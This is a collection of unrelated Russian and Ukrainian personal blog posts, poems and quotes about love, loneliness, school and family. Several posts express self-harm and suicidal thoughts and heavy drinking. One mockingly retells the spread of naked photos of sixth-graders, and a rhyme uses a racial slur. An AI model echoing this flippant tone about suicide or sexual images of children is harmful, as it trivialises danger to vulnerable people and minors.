Девочка, которая пьет успокоительное или антидепрессанты, чтобы почувствовать себя нормально, я люблю тебя.
Девочка, которая режет свои руки и ноги, я люблю тебя.
Девочка, которая ненавидит своё тело, я люблю тебя.
Девочка, которая натягивает через силу улыбку на свою лицо каждое утро, я люблю тебя.
Девочка, которая ненавидит город, в котором живет и людей, окружающие её, я люблю тебя.
Девочка, которой кажется, что ее никто не любит… Я люблю тебя.

— Расскажите о себе.
— Последние 5 лет планирую начать новую жизнь.

Желаю счастья тебе и той, что обнимаешь,
Надеюсь ты её любишь, ведь она столько прощает,
Я не пропала, ты главное не вспоминай,
Прижми к груди её крепко и засыпай.

это, конечно, очень эгоистичное чувство, но я все равно уверена в том, что таких, как я, в том кабинете больше не будет. пожалуй, будут те, кто сможет проявить хотя бы одну треть моего интереса и восторга, но такое доверие и понимание между учителем и учеником - шанс один на миллион, это точно. близится тот момент, когда все сделанное и сказанное вернется зачинщику случившегося, бумеранг уже взял обратное направление, я чувствую это. тот самый огонек уже гаснет, потому что наставник никогда раньше не бросал начатое, не уходил до завершения работы над олимпиадой, оставляя ребят одних, просто потому что нужно ехать по бытовым делам, помогал нам даже с жуткими головными болями, не приходил поиграть в волейбол на каких-то смешных полчасика.

вот только что будет, когда все демоны выберутся наружу? когда свет погаснет?

привет, у старого друга все отлично, он 1,5 года в счастливых отношениях, все радует на учебе и работать начал, деток учит малых и больших, все классно. знаешь, он о тебе не думает вот совсем, зимой думал, весной думал, летом думал, но уже меньше, пока судьба не столкнула вас в вагоне метро. А осенью уже не думал и зимой уже не думает, отпустило, - говорит, - совсем. Спокойно ему, жизнь у него наладилась. Друзья верные и настоящие, любимый и любящий - теперь один человек. Но пойми ты, нельзя врываться в его жизнь каждые пол года без предупреждения, когда тебе скучно или нахлынула меланхолия. Старому другу приходили в голову мысли, что он бы был не против оставаться старым другом. Но старый друг трижды наступал на одни и те же грабли и каждый раз верил, что грабли изменились. И сейчас старому другу страшно, в нем поселился страх и он уже на уровне рефлексов. В нем есть небольшое беспокойство, что ты не уходишь из его мыслей, но, пожалуйста, оставь его. Ты не сможешь остаться в его жизни, ты снова уйдёшь.

она любит его. не тебя

НО сказать, что я не достигла никакого прогресса за все эти месяцы, было бы несправедливо. например, я больше не погружаюсь в упорное самоуничижение или приступ бессильной ярости от каждого негативного комментария мамы. да, у других людей могут быть более спокойные и более понимающие мамы, но что поделать, у меня такая, и она в общем-то тоже делает как может и старается, и вообще неплохая, если так в общем и целом посмотреть, так что chillin', chillin' all the time. что ещё. я не впадаю в панику от неотвеченных сообщений, фраз без смайлов, забытых дат. в этом плане тоже стараюсь чиллить и доверять людям. конечно, такой бесконечный чилл немного отдаётся пустотой внутри, но это побочный эффект. стараюсь перестать воспринимать критику того, что мне нравится, как неприязнь лично ко мне. и наоборот, стараюсь перестать подстраивать свои интересы под кого-то другого (этому человеку не нравится вот это, а мне нравится, КАК ЖЕ ТАК, нужно срочно разлюбить это, а то общению не бывать). но эти все достижения, хоть и облегчают мне жизнь, главного не затрагивают, и, по большому счёту, ничего не меняют.

в субботу иду себе по школьному коридору, как навстречу выходит директор школы и учительница по русскому языку и литературе. обе ко мне хорошо относятся, спросили о том, как мои дела, собираюсь ли я в школу после университета, потому что они меня, вообще-то очень ждут. я замялась и сказала, что не знаю. директор - женщина достаточно прямолинейная, поэтому, слегка повысив голос, стала спрашивать о том, почему это я вдруг не знаю. в этот самый момент из кабинета напротив выходит наставник, поэтому вопрос обрушивается и на него.

—представляете, ксюша вон говорит, что не знает, придет ли к нам в школу! вторым физиком! вам в помощники, между прочим!

—ммм, не знает она…

—!!!

—ЗАТО Я НАШЕЛ НАМ ХИМИКА БЛА-БЛА-БЛА ХАХАХАХА

—ХАХАХАХА ЛОВКО ВЫ ПЕРЕВЕЛИ РАЗГОВОР НА ДРУГУЮ ТЕМУ

—ХАХАХАХА

я не перестаю скучать по нынешним временам, не перестаю надеяться на то, что все образуется, но я уже точно не хочу целенаправленно идти на кафедру педагогики, потому что маневрировать по этим скользским стопам нет ни сил, ни терпения, ни желания.

Дамы, что будет дарить своим суженым-ряженым на ДСВ?)

У меня было много идей, но сошлась на: корзинка в форме сердечка, в ней кружка с парочкой, деревяная валентинка-магнит и какие-нибудь сладости в форме сердечек или 50 пилюл с записочками.)

Я сейчас ничего не хочу

И даже видеть тебя.

Мне бы сейчас тишину.

Не вокруг, а внутри себя.

Abd Mez.

На темний відчай не зважаю,

Тебе чекаю, так чекаю.

Щоб знову глянути у очі,

В твоїх очах весняні ночі.

В твоїх очах квітнуть сади,

Там ріки чистої води.

В твоїх очах казкове місто,

Ягід калинових намисто.

У них безмежна глибина,

Краплина терпкого вина.

В очах твоїх ранкові роси,

І віт вербових довгі коси.

В очах твоїх птахів політ,

В твоїх зіницях цілий світ.

Душі твоєї два віконця,

Мене зігріють жаром сонця.

Ельвіра Довгопола

вчера ночью никак не могла уснуть. сидя с телефона, обнаружила, что можно читать блоги, у которых удален html-код, поэтому зашла на свой schmosby. раньше очень любила перечитывать свои записи, а сейчас, здесь, с трудом и комом в горле. расплакалась не только от воспоминаний, но и от того, что даже при особом желании не могу больше писать так, как писала буквально полгода назад. я хочу это исправить, но пока не придумала, что нужно для этого сделать. буду думать, ведь около пяти лет все эти мои заметки помогали мне понять, каким человеком я становлюсь, какие события в жизни привели меня к настоящему, что я чувствую в определенный момент времени. нельзя позволить отнять у меня еще и это.

Стало дуже. Тебе. Мало

Запишу твій голос на платівку
І вмикатиму завжди, коли тебе нема.
Твої знімки роздрукую з фотоплівки,
Розглядатиму щораз, коли сама.

Одягну вподобані тобою шорти,
Заварю вподобаний тобою чай,
Навіть кисню в мене мало у аорті!
Коли ти не поруч, скільки не вдихай.

Я шукатиму тебе усюди -
В спогадах серпневих вечорів,
Серед площі, сповненої люду,
У під'їздах й серед тонни слів.

Заповнятиму тобою весь свій простір,
Присвячу для тебе весь свій час,
Я в думках створю наш спільний острів,
Побудую дім тільки для нас!

Вибач, мабуть, я з'їжджаю з глузду,
Щось зі мною, мабуть, не нормально…
З нетерпінням жду твого приїзду,
Бо мені в цих клятих стінах
Стало дуже.
Тебе.
Мало.

римованими римами. незримими.
нестримними. не стри мене.
не спи в мені. закрий в собі.
закрий себе. за крилами.
за спинами. заспи мене.
засни в мені. сухими дирами.
поринь в мене. вдихни мене.
в легені теплими. холодними.
холодні ми. потопленні.
потоптанні. потопами.
запаленні соломою. солоною.
не наступай. тремти. вдихай.
не відкривай. не відпускай.
тримай. тримай. тримай.

Мир книг и музыки мне больше по душе, чем что либо другое.

Если меня вырвало от стакана святой воды, значит ли это, что я изгнала из себя дьявола или что мне лучше все же сделать гастроскопию? Вот в чем вопрос.

Рианна, ты пьяна, иди домой.

Не хотела писать пост, но передумала

Я уже второй день заставляю себя верить в то, что я не люблю свою бывшую и вообще я никого не люблю, и может это даже правда, но вот я все равно сейчас плачу

Но вообще я плачу из-за грустных фанфов, которые решила перечитать. И да, они все были про расставания и пара про смерть

Мне тупо не хватает обычной заботы и внимания. Я скоро буду вешаться от одиночества

Надо было соглашаться встречаться с Даней, ей богу

Нет, мне не нужны отношения, да и кто сможет терпеть мою социофобию и вечный сарказм?

У меня тупо дифицит обнимашек /поставила себе диагноз\

Поэтому я жду март, кога староста привезет мне бухла из дьютика и я в одиночку напьюсь. А еще будет очень иронично, если я останусь на 8 марта одна и так же напьюсь в одиночку, как и впрошлом году, когда мое солнце меня кинуло и променяла меня на свою сестру или подругу? а, не важно. Прикиньте, у меня до сих пор стоит на полке ее подарок, а уже сука год прошел. Надо его маме отдать

Очень хочется забыть все это говно и начать жить заново. А еще хочется улыбаться, а не ходить с ебалом кирпичем, но я не могу. Серьезно, я отвыкла улыбаться

Завтра кого-нибудь обниму, сейчас мне этого действительно не хватает

"Все вокруг заставляет меня скучать по тебе."

Знаете, можно до глубины души влюбиться в фильм. Я влюблена в "Дорогой Джон". Для меня это шедевр! Прекрасный фильм с таким трогательным сюжетом, 2 любимых актёра в одном фильме, каждое слово прочувствовано, каждая фраза прожита, каждый взгляд пронизан чувствами. Шедевр - это когда хочется кричать: Зачем ты так поступаешь, зачем ты так делаешь, это неправильно!! Но потом понимаешь…, наверное, это было лучшее решение.

"Я влюбился в неё, когда мы были вместе, и полюбил ещё сильнее за годы разлуки."

Я могу пересматривать этот фильм много-много раз, каждый раз видеть его по-разному, но всё так же не могу сдержать слёз. Наверное, для меня этот фильм останется неким прожитым моментом. Такое чувство, что всю боль, через которую прошли актёры, прошла и я.

"Наши глаза встретились, и, клянусь, я услышал, как что-то щелкнуло, словно ключ повернулся в замке. Поверьте, я не романтик, никогда не верил в любовь с первого взгляда и до сих пор не верю, но в тот момент я реально что-то почувствовал и не смог отвести взгляд."

Ну разве от этих фраз не бегут мурашки по телу, не щемит где-то глубоко внутри!? Я не могу передать словами то, что вызывает у меня этот фильм. Наверное, у каждого есть свой прожитый момент-фильм, с которым Вы стали старше, умнее, чувственнее. Если Вы не смотрели этот фильм - обязательно посмотрите. Он не оставит в покое Ваши сердца и души!

"Две недели, вот и все, что у нас было. Две недели, чтобы влюбиться в тебя по уши. А теперь мы расстаемся на год, но что нам год разлуки, если у нас были эти две недели."

Буду слушать грустные песни и плакать, отличное времяпрепровождение на ближайшие несколько лет, к примеру.

У меня все плохо с ведением дневников, но моя неуемная страсть к перечитыванию и форсированной ностальгии все же сильнее. Вай нат, попробую еще раз. Сейчас половина первого, мой ленивый вторник подошел к концу и мне предстоит насыщенная среда с тремя репетиторствами + нужно нормально начать работать над мини-квестами и таки написать отчет по ВолКу, а то незавершенный гештальт меня мучает. Еще хочу наконец Реми испытать, сегодня наконец-то забрала их с почты** Целую Фассюшу и гуднайтушков: 3

«Десять негритят»

(классический перевод Беспаловой Л. Г.)

Десять негритят отправились обедать,
Один поперхнулся, их осталось девять.

Девять негритят, поев, клевали носом,
Один не смог проснуться, их осталось восемь.

Восемь негритят в Девон ушли потом,
Один не возвратился, остались всемером.

Семь негритят дрова рубили вместе,
Зарубил один себя — и осталось шесть их.

Шесть негритят пошли на пасеку гулять,
Одного ужалил шмель, их осталось пять.

Пять негритят судейство учинили,
Засудили одного, осталось их четыре.

Четыре негритёнка пошли купаться в море,
Один попался на приманку, их осталось трое.

Трое негритят в зверинце оказались,
Одного схватил медведь, и вдвоём остались.

Двое негритят легли на солнцепёке,
Один сгорел — и вот один, несчастный, одинокий.

Последний негритёнок поглядел устало,
Он пошёл повесился, и никого не стало.

[x]

как же мне хочется именно в этот момент иметь такую силу выдержки и духа, как у Скарлетт О`Хары чтобы сказать себе: "не буду думать об этом сейчас, подумаю обо всем завтра", и в конечном итоге забывать о проблеме насовсем, закидывать ее в самый глубокий ящик

Вот и добрался я наконец до сюда, чтобы снова рассказать вам какую-нибудь хренотень. А хренотень в моей жизни, то есть, скорее в нашей школе происходит несусветная. Долго думал, можно ли о таком писать, потом решил, что не можно, а нужно, так что…

ВНИМАНИЕ! НЕ ПРОХОДИТЕ МИМО! СКАНДАЛЫ ИНТРИГИ РАССЛЕДОВАНИЯ ПРЯМО ЗДЕСЬ И, МАТЬ ВАШУ, СЕЙЧАС!

Около недели назад в школе появились новые звезды. В паблике "Подслушано" нашей школы кто-то выложил коллаж, где голые мальчик и девочка из 6-го класса в кровати явно не сонеты друг другу читают. Повторяю: из 6-го класса.

Естественно, это доходит до учителей, собирают всех на педсовет, завуч по воспитательной работе уже сидит без веры в человечество в глазах, все ищут виноватых, ну и все в таком духе, вы представляете. Девочка клянется-божится, что не она выложила эти фотки в сеть.

Спустя пару дней выясняется, что в кровати эти ребята были не одни, с ними был еще парень, который, в свою очередь, клянется, что его заставили. Такой, знаете, тройничек по принуждению, агамс. Как можно было заставить, я слабо представляю, ну да ладно.

Школьный психолог после беседы с той девочкой говорит, что мыслит она уже как нюхнувшая пороху прожженая тетка, говорит, что хочет серьезных отношений, и не волнует. Серьезные отношения с двумя мальчиками в кровати, да-да.
К слову, воспитывается эта девочка бабушкой, и при беседе с ней бабушку возмутил не сам факт такого поведения внучки, а то, что это все происходило на ее, бабушкиной, блин, постели.

А в паблик этот фотоколлаж выложила подружка этой девочки, которой она скинула фотки со словами "СМОТРИ ЧЕ ЕСТЬ".
А теперь просто вдумайтесь и осознайте, насколько уныла ваша жизнь.
Берегите себя и своих близких: |

— Элина Вишнякова

Навчи мене літати.

Над морем.

Океаном.

Я хочу птахом стати.

Вільним.

Бездоганним.

Я хочу жити з вітром.

І дощем вмиватись.

Для тебе бути Світлом.

У росі купатись.

Навчи мене літати.

Полечу я світом,

Я буду вільна жити,

І літати з вітром.

Прикуривать две одновременно, чтобы потом одну отдать. Обмениваться сигаретным дымом. Пить красное сухое, наблюдая за проходящими мимо кораблями. Целоваться, пока машина едет под 100. Засыпать на плече по пути домой. Такое бывает в жизни?

вот моя терапевт сейчас сказала бы что-то вроде 'ебана ну ты и закрутила нахуй', перефразировала бы все мои выверты простым языком, развеяла бы указанные во всей этой каше тезисы один за другим и в конечном итоге убедила бы меня в том, что это Норма, и я просто занимаюсь преувеличениями. и я бы вышла такая довольная из кабинета и опять на несколько дней мне показалось бы, что Жизнь Прекрасна, и я была бы такая I AM HUUUUUUMAAAAN AND I NEEEED TO BE LOOOOVED

когда на протяжении большей части твоей жизни тебя потихоньку заставляют усвоить, что если ты не Самая Красивая, не Самая Умная, не Самая Талантливая, то ты недостойна любви и существования, и вот после нескольких мучительных лет самоненависти ты такая вроде бы чего-то достигла и тебе все говорят, какая ты прекрасная-распрекрасная, но ты ничего не чувствуешь и тебя это не радует и не заботит, потому что ты травмированный на всю жизнь робот, чья личность состоит целиком из усвоенных когда-то психических защит и механизмов, скрывающих ранимое Ничто, беспрестанно опасающееся за свое существование :) )) )) )) ) и ты не умеешь принимать любовь и даже слабо можешь ее чувствовать, потому что в твоем понимании Любовь Надо Заслужить, потому что тебя так учили, и ты всю жизнь будешь пытаться Заслужить, но может быть даже не столько от каких-то собственных травм или чего-то в этом духе, нет, а от страха, что если наконец Заслужишь, то тебе это будет уже и не нужно. поэтому даже в самых диких моих фантазиях, даже в моих снах, которые я не могу контролировать - абсолютный максимум - это разрешение мне на любовь. мне разрешают себя любить. я опять скатилась вникуда, постец-то на самом деле о том, что я очень эмоциально деформированна, и начинает казаться, что уже слишком поздно что-либо с этим делать.

— кому нужны мои боль, отчаяние и слабость?

— какая боль, я тебя умоляю, тебе 18, ты что рак крови пережила?

и ведь есть же люди, свято верящие, что боль, наполняющая человека, обусловлена лишь определенными очевидными огромными бедами.

Ты полюби меня, я не такая как они! Мне не важны, твои все достижения. Мне важно, что бы не забыл же ты, О том, когда у меня день рождения. Ты полюби меня, я не такая как они! Я не умею притворяться, что люблю. Я не смогу обманывать других, Когда тебя в себе не нахожу. Ты полюби меня, я не такая как они! Ты мне не веришь, я и не стараюсь. Ты просто полюби и посмотри, Что верные, все ещё остались!

Я настолько пьяна, что не вижу почти нечего и этого недостаточно!Я смешала всё, что можно:вино, пиво, коньяк, водку, вишнёвку.Вся футболка уже мокрая и чёрная от слёз вперемешку с подводкой.Шла домой и наконец, когда дошла до темных кварталов чуть не задохнулась.Как жаль, что всего лишь "чуть".Я впервые в жизни начала думать о том, что лучше бы я не рождалась вовсе.

Теперь я понимаю почему ураганы называют именами людей

Я с тобой ощущаю себя правильной. Ты тянешь меня вверх.

Ну вот, закончился мой второй день диеты и первый день учебы. Не скажу что что-то было в этом дне особенного. Как обычно ужасно скучные пары, сонные однокурсники и разряженный телефон. Диета особо мне никак не мешает и никакого дискамфорта не вызывает. Но единственное, что для меня невыносимо трудно-это прожить без кофе и шоколада!!! Сегодня чуть не сорвалась и не купила себе кофе, но потом я вспомнила мою цель, и переборола свое желание.

героймоихснов так и не появился, разве что смс в 3 часа ночи, когда я уже спала. В общем больше от него ни ответа ни привета, как-то так. Больше не могу терпеть это все и намерна поговорить с ним. Но знаете, опять телефонный разговор, опять разговоры "по душам", опять "тысамаялучшаямоядевочка", "скучаюпотебеоченьоченьочень" и все тому подобное-я устала даже от этого. Я хочу увидеть его, я хочу поговорить с ним в живую, обнять, поцеловать, хотябы ненадолго. НО у него наверняка какие-то дела с которыми он все никак разобраться не может и "яобещаюскоромы увидимсязайка". Терпеть и ждать я вечно не хочу, как бы сейчас я не была заоблачно влюблена, такого отношения к себе я точно не хочу. Каждый день терзать себе голову нужнаилиненужна, переживать, накручивать себя. А он то ласковый и звонит постоянно, то лишний раз когда мне плохо не спросит о моем самочувствие. В общем надо все таки как то увидится и поговорить, а там видно будет(поменяю тактику, если не выйдет, то все-конец) блинблинблин

снежная королева.больно, но потерпим. устала, но не пожалуемся.

Для виду ледяное, каменное сердце. Просто жесть какая леди.Я б сама в такую влюбилась и отдала, как завороженная, свое сердце. Как в песне Канье Вэста HOW COULD U BE SO HEARTLESS? Я делаю больно в ответ на боль, я щелочь, которая разъест все, я атомный взрыв, который сотрет с лица земли все. Внутри каждого такого человека есть то, что никто не увидит. Слишком слабо для меня выливать это. Все сопли, все то, что на самом деле у меня внутри.

Меня ни для кого нет. Я ни для кого не существую и никто давно не скучает по мне. Я мечтаю о том, чтобы чувствовать необходимость. Чувствовать то, что я не биологическая ошибка, я не лишняя, я нужная и незаменимая. Мне кажется, что без меня ничего не изменится, не дрогнет ничего, все будет так, как было. Может быть даже лучше. Отец вспомнил меня 22 числа. Ровно в мой день рождения, после этого даже не звонил. И для чего эти дни рождения? Я существую остальные 364 дня тоже. Не только в свой день рождения. Мама не замечает того, что я делаю для нашей семьи, для нее. Я всегда виновата, я всегда отрицательный герой.
Он не понимает меня, давит. И мне от всего больно. И сказать, что я хочу получить ту любовь. Да, хочу. А с другой стороны идите нахуй, оставьте себе. Однажды я превращусь в глыбу, которая никогда никого не полюбит. Хочу закрыться, зарыться, застегнуть молнию внутри себя. Спасибо, люди.

Почти физически плохо.

Пойми, дорогая, что это временно; и даже то, что ты до сих пор травмирована, не мешает тебе любить. Это прекрасно. Это не твоя судьба, это просто поворот на твоём пути. Не существует ни единого человека на Земле, который скажет тебе про то, каким станет твоё будущее и с кем ты будешь идти всю свою жизнь. Так что используй этот поворот, чтобы вырасти, чтобы растопить себя и научиться любить по-настоящему, а не как девочка. Да, это не взаимно; и в этом можно найти немало хорошего.

Попытайся быть собой из будущего и приблизиться к этому как можно скорее.

И… я люблю тебя. По крайней мере, знай, что если ты полюбишь себя, это точно будет взаимно. И глупо не любить себя, когда кто-то тебя не любит; в мире полно людей, которые не будут этого делать.

Не выламывай двери, за которыми тебя не ждут. Там, от тебя самого, спрятано твое разочарование.

Божечки, почему меня так пугает то, как меня тянет к Илье? Он и правда особенный. Не такой, как все. Сердце бьется просто невероятно сильно. Как же страшно. Страшно, что с ним я забываю про все. Не существует ничего, кроме нас с ним. Не существует времени.

Кажется, я попала.

кусочек моей нежности

Приветствую вновь)

Это возвращение уже в который раз? Я устала считать, если честно, меня то затягивает вью, то вновь выбрасывает. Хотя всевсе ваши посты читать очень интересно. Ну и вот уже прошло пол года моего второго курса и моя жизнь просто каждый раз переворачивается на 90 градусов. Сначала вокал и вступление в группу, потом затянул квн с кучей успешных выступлений(и не очень), создание своей команды(кстати сейчас готовимся к кубку Студлиги КВН), множество новых друзей и знакомых. Невероятные тусовки и вечеринки, не верится, что студенческая жизнь бывает такой. Разбитое сердце на 1 курсе, куча переживаний, слез, попытки восстановить себя. Потом пошла на риск и привет, у меня появился мой А., к которому я чувствую безграничную нежность, мне сложно сказать, что люблю его, но я влюблена и это с каждым днем растет. У меня есть мои девочки, которые как могут, но поддерживают меня, у меня до сих пор в голове не укладывается, что все это происходит со мной, все слишком ярко. А самое приятное, что в родном городе остались люди, ради которых хочется приезжать и проводить круто время. в общем у меня ооочень много всего нового. Я скучала.

Всем пис)

Какая же прихотливая эта штука вдохновение. Раньше оно у меня всегда было. Знайте я тот человек, который считает, что писатель рождается лишь в страданиях. Но я видимо перестрадала, у меня нет больше почвы от которой я могу отталкиваться каждый день. Мое вдохновение сиеминутно. Мне что-то приходит в голову, я начинаю писать, но затем как-то сдуваюсь. На следующий день у меня даже желания нет продолжать. Вот и разбросан мой недоталант по обрывкам незаконченных недотворений.

Я все чаще читая книгу, восхищаюсь авторами. Я поражаюсь как им хватает чего-то, что позволяет не только завершить сюжет просто до логичного конца, но еще и облечь это в богатую форму.

Самое обидное, что я и бросить не могу. Не могу остановиться. Вот висят мои наброски в папке, но меня как будто совесть перед ними мучает и я заставляю себя писать. Или наоборот, не пишу ничего и голову начинают переполнять мысли, они там как рой какой-то жужжат, мешают жить и мне становится необходимо хоть каким-то способом выбросить это. Так и рождаются эти мои недоделки.

Чем бы вы занимались, если бы вам не надо было зарабатывать деньги? Этот вопрос меня преследует. Абсолютно рандомно мне попались две книги подряд о том, как важно ПРОЖИВАТЬ свою ЖИЗНЬ, решаться претворять свои мечты в реальность.

Проблема только в том, что у героинь этих книг, как и у героинь моих любимых сериалов, уже были и мечты, и цели. Оставалось только взять свою судьбу в свои руки и начать действовать.

А я вот не знаю, чем бы я хотела заниматься всю жизнь. Мне нравится макияж. Мне нравится прикасаться к косметике и кистям, чувствуя, как меняется человек, как загораются его глаза. Но не меньше мне нравится писать. Точнее, не так. Мне нравится ПРИДУМЫВАТЬ. Еще больше я люблю слушать и, чего уж там, давать советы всем подряд. Раскладывать свою и чужую жизни.

Но.. Во всем есть это идиотское НО! Я бы посвятила свою жизнь визажу, но понимаю, что маленький город для этого не создан. Я бы хотела смешить людей и рассказывать им истории, но кому это нужно? Оказывается, найти себя - очень сложно. Я бы хотела иметь возможность попробовать этот мир. Поучиться миллиону ремесел и найти что-то, от чего я чувствую себя счастливой. Самореализованной. Как-то так…

Так мало времени отпущено природой нашим любимцам, и большую его часть они ждут, когда мы вернемся домой.

Джон Грогэн

Если вы прекратили отбрасывать тень.
Необязательно зашло Солнце!…
Может, вы сами стали Светом!…

Нго-Ма

Каждый раз, когда ты печально вздохнул, от тебя убегает один бог счастья.

Японская пословица

Если сам не готов стать учеником,
Как в другом человеке увидишь учителя?

Марпа

Плоды не пожинают в тот день, когда засевают семена.

Лама Оле Нидал

Плоды не пожинают в тот день, когда засевают семена.

Лама Оле Нидал

Очень мало людей, которых я действительно люблю и еще меньше тех о ком я хорошо думаю.

Джейн Остин

Когда вы находитесь с кем то, кто вас полностью принимает — это терапия. Происходит исцеление.

© Бхагван Шри Раджниш (Ошо)

Живи так, как хочешь ты, а не как ожидают от тебя другие. Не важно оправдаешь ты их ожидания или нет, умирать ты будешь без них. И свои победы одержишь сам!

— Конфуций

То странное чувство, когда ты сидишь на кухне у своего бывшего, рядом с тобой его нынешняя девушка. А пока её не было, задал вопрос: "Ты что с парнем рассталась?". В его понимании я не могу так просто появиться, вот ведь неожиданность. Он смешной, мне кажется, с девушками ему крупно не везёт. Потому что либо он косячит, либо они его используют, другого не дано. Вот и в очередной раз его используют. А он хочет от неё детей. Зато своими разговорами я её от этого отвлекала, он меня чуть ложкой не убил за это. Дурак, тебя же спасаю. Но вообще вся сегодняшняя ситуация вызывает во мне лишь улыбку.

Пройдёт лет двадцать, и ты будешь больше сожалеть о том, чего не сделал, чем о том, что сделал не так.
Потому отбрось колебания. Расправь парус и беги прочь из безопасной гавани. Лови попутный ветер. Исследуй. Мечтай. Делай открытия.

Марк Твен

Люди говорят одно, а делают другое — это один из самых забавных спектаклей, которые предлагает нам жизнь.

То, каким человеком ты станешь через пять лет, определяет два основных фактора: люди, с которыми ты общаешься, и книги, которые ты читаешь.

Робин Шарма

Настолько мило выглядишь, что хочется, чтобы оказалась в наручниках в моей комнате)

Ты в своей милой юбке, с новой стрижкой и детской улыбкой меня очаровываешь снова и снова

Сикрет кисез в туалете и каресез оф ер тай под партой только раззадоривают

Сегодня я хочу поговорить на тему гомосексуализма.

Почему многие люди против этого? Секс втроем - пожалуйста, а отдельно лесбиянки и геи - это фу? Люди, да вы сами себе противоречите.

Любой человек, имеет полное право любить того, кого он захочет. И не Вам об этом судить. И с чего вообще взяли что это не нормальные отношения? А вдруг не нормальные это когда мужчина и женщина? Да и вообще, в нашем мире, никогда не было ничего нормального.

Вы только вспомните сколько выдающихся людей были гомосексуалистами: Леонардо Да Винчи, Фреди Меркьюри, Элтон Джон и т.д. Все эти мужчины оставили значимый след в истории и культуре человечества, их имена и достижения известны большинству современных людей. Статистика гласит, что среди талантливых, ярких и успешных творческих деятелей процент геев действительно высок. Возможно, в силу своей нестандартности геи смотрят на мир иначе, а может, тоньше его чувствуют. Неустроенные в жизни, зачастую бездетные, они вынуждены полностью отдаваться творчеству.

Наконец, говорят, что гомосексуализм - нарушение законов природы. Любовь, не ведущая к продолжению рода - бесполезная трата сил. А как же искусственное оплодотворение? суррогатное материнство? да в конце концов, столько детей бросают в детских домах.

Итог: люди которые считают гомосексуалистов психами, сами имеют в этом плане серьезные проблемы. Ведь каждого из вас, абсолютно каждого , в самых темных уголках вашего разума интересовал вопрос: А КАК БЫ МНЕ БЫЛО В ТАКИХ ОТНОШЕНИЯХ ?

задумайтесь.

Рябятки, всё что творится в моей жизни похоже на пиздец. Разложим всё по полочкам.

Учёба. Наконец то я защитила свой диплом, не люблю разговаривать о нём. Но я сделала это, сколько сил я вложила в него не передать словами. Надо было начинать раньше, а не браться в последний момент. Но с ним поконченно, вот и весь разговор.

Работа. ПЗДЦ! На данный момент у меня в сумке лежат два билета в Москву на 18 число, там уже снята квартира для меня одной и ждёт работа с высокой заработной платой. В родном городе мне нужно просто приехать и расписаться в одной бумажке и работа у меня в кармане. Но в этом всём замешан один человек которого я знать больше не хочу. Но об этом позже. Я остаюсь у чёрта на куличках и сама добиваюсь всего чего желаю.

Артур или последняя мразь. Я никогда не доверяла ему. Но то что он сделал убило меня, он распорядился моей жизнью. Решил всё до последнего, я нашла в машине распечатку всех моих звонков, смс, сообщений с контакта. Он знал каждый мой шаг. Меня это просто ошарашило. Представляете вот идёшь по улице, а за тобой следят. Аж мурашки по коже от этого.

Личная жизнь. Начну с того что я очень некрасиво поступила, прости меня если сможешь и забудь. Я не твой человек, но я не хотела делать тебе больно.

А теперь можно и сказать про человека который каждый день выводит меня из себя, я прекрасно понимаю что это мимолетное увлечение, но мне с ним весело и спокойно одновременно. И пускай он меня не слушает, и пускай он не хочет знать что у меня на душе, и пускай. Я не хочу больше никому открывать свою душу.

курю в окно, один, - считай, что поздний ужин. пивная на углу. очередной запой… кого-то ждут домой, кому-то кто-то нужен. меня нигде не ждут, да и Господь со мной. февраль привел весну. сосед привел подругу. в периметре двора ложится снег на след, где в поиске меня или ходьбы по кругу, отбрасывает тень мой черный человек. один поэт сказал, что он однажды будет. по мне, так хоть сто раз, конец - всегда финал. законченный роман. обрывки чьих-то судеб. прервавшийся полёт. последний терминал. без истин жизнь скучна. под вечною луною замызганный сюжет о смысле и вине. привет передает вчерашнему запою мой черный человек в распахнутом окне. (с)

я помню, видел эту штуку с комнатой забитой май литтл пони, но это вообще вынесло

самое главное - русский текст на вещах ХDDDDDD

мои идеи классные только у меня в голове

1. Джеймс "Баки" Барнс (комиксы/фильмы Marvel)

2. Чарли (книга/фильм "Хорошо быть тихоней")

3. Стайлз Стилински (сериал "Волчонок")

4. Барри Аллен (сериал "Флэш", комиксы)

5. Оливия Мур (сериал "Я - Зомби")

6. Стив Роджерс (комиксы/фильмы Marvel)

7. Спенсер Рид (сериал "Мыслить как преступник")

8. Перси Джексон (книги/фильмы о Перси Джексоне)

9. Томас (книги/фильмы "Бегущий в лабиринте")

10. Эллиот Алдерсон(сериал "Мистер Робот")

Мне так нехватает ВСЕГО! Поцелуев, секса, объятий и нежностей. Не представляю, как можно выживать так долго, видясь не каждый день. Это просто невыносимо, мне МАЛО! Мало тебя, всегда мало, особенно сейчас, после стольких нервов. Хочется, чтобы сорее потеплело, чтобы можно было гулять в парке и проводить время дома, без этого жить просто невозможно. Я хочу тебя!!!!!! Больше не могу!!!!!!!!

Я влюбчива. Иногда заклинит на ком-нибудь мой механизм выработки любви и хоть в лес, хоть на плаху - не остановить. Неважно, какого человек пола, ибо эта не та любовь, когда хочется касаться. И вот до дрожи пробирает.
Писала здесь когда-то о преподавателе по литературе. Сегодня слушала её целых две пары, глаз не могла оторвать. В лицах рассказывает, стихи Пастернака читает так, что хочется подобно ей его увидеть, подобно ей полюбить. И такая она сильная и хрупкая, как настоящая женщина. Только говорит она про Шмелева и Зайцева, а я думаю о том, почему она одинока, давно ли у неё протез, … ведь даже никто из наших девочек, кто пишет у неё диплом, не знает, что и почему. Какую невероятную силу надо иметь, чтобы вот так - хранить в себе, хоронить в себе. И до того мне хотелось подойти и обнять её, чтобы зла вокруг неё (если есть то зло) стало меньше. Чужой крест другому непосилен, но как изжигает желание хоть минуту её долгой многолетней жизни сделать спокойной словами не передать…

А фокус в том, - твердит мне Творец, - чтобы так любить каждого.

нет, а что собственно распинаться. пару лет назад я подумать не могла о том, что так все повернется. у меня есть пара якорей, но разве это помогает не забывать себя саму? нет. все меняется, а особенно круг общения.

мне всегда хотелось (и я писала об этом в блоге) встретить себя саму из прошлого и из будущего. такие три Эллы которые убиваются по разным вещам, однако советы у всех трех будут одинаковыми: "расслабься, переживёшь, это того не стоит". ничего вокруг не стоит этих переживаний, у тебя есть ты сама и ты все можешь.

без сигареты ее рот напоминал яхту без мачты; несомненный признак катастрофы

В некотором роде детский сад помогает развитию ребенка, помогает ребенку стать общительнее, облегчая тем самым работу непосредственно родителям.

Но я в детский сад я не ходила, но читать/писать научилась очень рано.

Младшая школа…там все это продолжнается. Ребенок попадает в новый коллектив, начинаются други занятия, но еще все просто…так сказать подготовка к дальнейшим нагрузкам.

Старшая школа…ну в старшей школе уже "понеслаась".

